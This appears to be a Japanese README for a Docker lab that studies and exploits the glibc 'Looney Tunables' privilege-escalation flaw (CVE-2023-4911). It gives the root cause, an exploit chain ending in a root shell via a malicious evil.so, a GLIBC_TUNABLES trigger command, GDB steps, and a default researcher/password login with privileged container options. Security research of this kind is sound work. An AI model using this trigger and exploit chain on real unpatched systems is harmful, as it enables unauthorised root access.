
Dockerベースのラボで、CVE-2023-4911(Looney Tunables)の分析と悪用を目的としています。これはglibc ld.soのバッファオーバーフローによりローカル権限昇格を引き起こす脆弱性です。PoC、GDB解析、エクスプロイト開発環境を含みます。
GNU C Library(glibc)動的ローダーのバッファオーバーフロー脆弱性(Local Privilege Escalation)の分析およびエクスプロイト開発のためのDockerベースの実習環境です。
| 項目 | 内容 |
|---|---|
| CVE 番号 | CVE-2023-4911 |
| 別名 | Looney Tunables |
| 脆弱対象 | GNU C Library (glibc) 2.34 ~ 2.38 |
| 脆弱バージョン | Ubuntu 22.04 — libc6 2.35-0ubuntu3.3 以下 |
| パッチバージョン | libc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04) |
| タイプ | Buffer Overflow in ld.so |
| 影響 | Local Privilege Escalation(一般ユーザー → root) |
| 発見者 | Qualys Security Research Team |
glibc動的ローダー(ld.so)はプログラム実行時に GLIBC_TUNABLES 環境変数をパースします。
SUIDバイナリ実行時に __libc_enable_secure = 1 が設定され、ld.soはその環境変数を無効化(nullify)するコードパスに入ります。
この過程で、tunable1=tunable2=value 形式の入力に対して誤った長さ計算によりバッファオーバーフローが発生します。
一般バイナリ: __libc_enable_secure = 0 → nullifyコード未入力 → 脆弱性なし
SUIDバイナリ: __libc_enable_secure = 1 → nullifyコード入力 → バッファオーバーフロー発生
エクスプロイトの流れ:
GLIBC_TUNABLES オーバーフロー
↓
ld.so BSS領域のlink_mapポインタ上書き
↓
ライブラリ検索パスを evil_lib/ パスに改ざん
↓
evil.so ロード → constructor自動実行
↓
setuid(0) + execve("/bin/bash") → rootシェル取得
この環境は単なるPoC実行を超え、脆弱性の動作原理を直接分析し、エクスプロイトを開発するプロセスを目標として設計されています。
ld.soのソースコードと実行バイナリを一緒に分析できる環境の提供researcher)→ root権限昇格シナリオの直接実習CVE-2023-4911/
├── Dockerfile # 脆弱環境イメージ定義(マルチステージビルド)
├── run.sh # Dockerビルド/実行管理スクリプト
├── check_environment.sh # コンテナ起動時に環境自動検証
├── poc/
│ ├── exploit.py # 基本PoC — crash(SIGSEGV)確認用
│ ├── exploit_lpe.py # LPEエクスプロイト — GDB分析後完成
│ └── evil_lib/
│ ├── evil.c # rootシェルを実行する悪意のある共有ライブラリ
│ └── Makefile
└── test_targets/
├── test_suid.c # SUIDテストバイナリソース
└── test_heap.c # ヒープ割り当てテストバイナリソース
./run.sh build && ./run.sh run
コンテナ起動時にsudoパスワードを要求します。
パスワード: password
# SIGSEGV発生確認
python3 /workspace/poc/exploit.py --check-only
# 直接トリガ
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
/workspace/test_targets/test_suid
# コンテナ内で直接解析
gdb -q /workspace/test_targets/test_suid
# リモートデバッグ (gdbserver)
# コンテナ内
gdbserver :1234 /workspace/test_targets/test_suid
# ローカルホスト
gdb
(gdb) target remote localhost:1234
GDBで OVERFLOW_OFFSET と TARGET_ADDR を解析後、exploit_lpe.py 上部の値を更新して実行します。
python3 /workspace/poc/exploit_lpe.py
# 脆弱関数の場所
/workspace/glibc-source/elf/dl-tunables.c
# 主要関数
__tunables_init() # エントリポイント
parse_tunables() # オーバーフロー発生箇所
tunables_strdup() # バッファ割り当て
# straceでシステムコールトレース
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid
# GDBで __tunables_init 解析
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run
この環境は教育およびセキュリティ研究目的でのみ使用してください。
--privileged モードで実行されるため、隔離された環境でのみ使用してください| コマンド | 説明 |
|---|
./run.sh build | Dockerイメージビルド |
./run.sh run | 対話モードでコンテナ実行 |
./run.sh analysis | 分析モード実行 |
./run.sh test | 簡易脆弱性確認 |
./run.sh clean | イメージおよびコンテナ削除 |
| 項目 | 内容 |
|---|
| Baseイメージ | ubuntu:jammy-20230916(パッチ前) |
| glibc バージョン | 2.35-0ubuntu3.3(脆弱) |
| ld.so バージョン | 2.35-0ubuntu3.3(脆弱) |
| 分析アカウント | researcher / password |
| glibc ソース | /workspace/glibc-source (2.35) |
| 主要ポート | 1234 (gdbserver) |
| コンテナオプション | --privileged, --pid=host |